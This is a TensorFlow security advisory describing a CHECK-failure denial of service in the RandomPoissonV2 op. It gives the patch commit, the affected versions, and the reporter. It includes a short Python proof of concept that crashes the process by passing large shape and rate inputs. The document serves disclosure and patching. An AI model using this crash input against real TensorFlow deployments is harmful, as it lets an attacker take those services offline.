TensorFlow vulnerable to `CHECK` fail in `RandomPoissonV2`

Impact

When RandomPoissonV2 receives large input shape and rates, it gives a CHECK fail that can trigger a denial of service attack.

```python

import tensorflow as tf

arg_0=tf.random.uniform(shape=(4,), dtype=tf.int32, maxval=65536)

arg_1=tf.random.uniform(shape=(4, 4, 4, 4, 4), dtype=tf.float32, maxval=None)

arg_2=0

arg_3=0

arg_4=tf.int32

arg_5=None

tf.raw_ops.RandomPoissonV2(shape=arg_0, rate=arg_1, seed=arg_2,

seed2=arg_3, dtype=arg_4, name=arg_5)

`

Patches

We have patched the issue in GitHub commit [552bfced6ce4809db5f3ca305f60ff80dd40c5a3](https://github.com/tensorflow/tensorflow/commit/552bfced6ce4809db5f3ca305f60ff80dd40c5a3).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.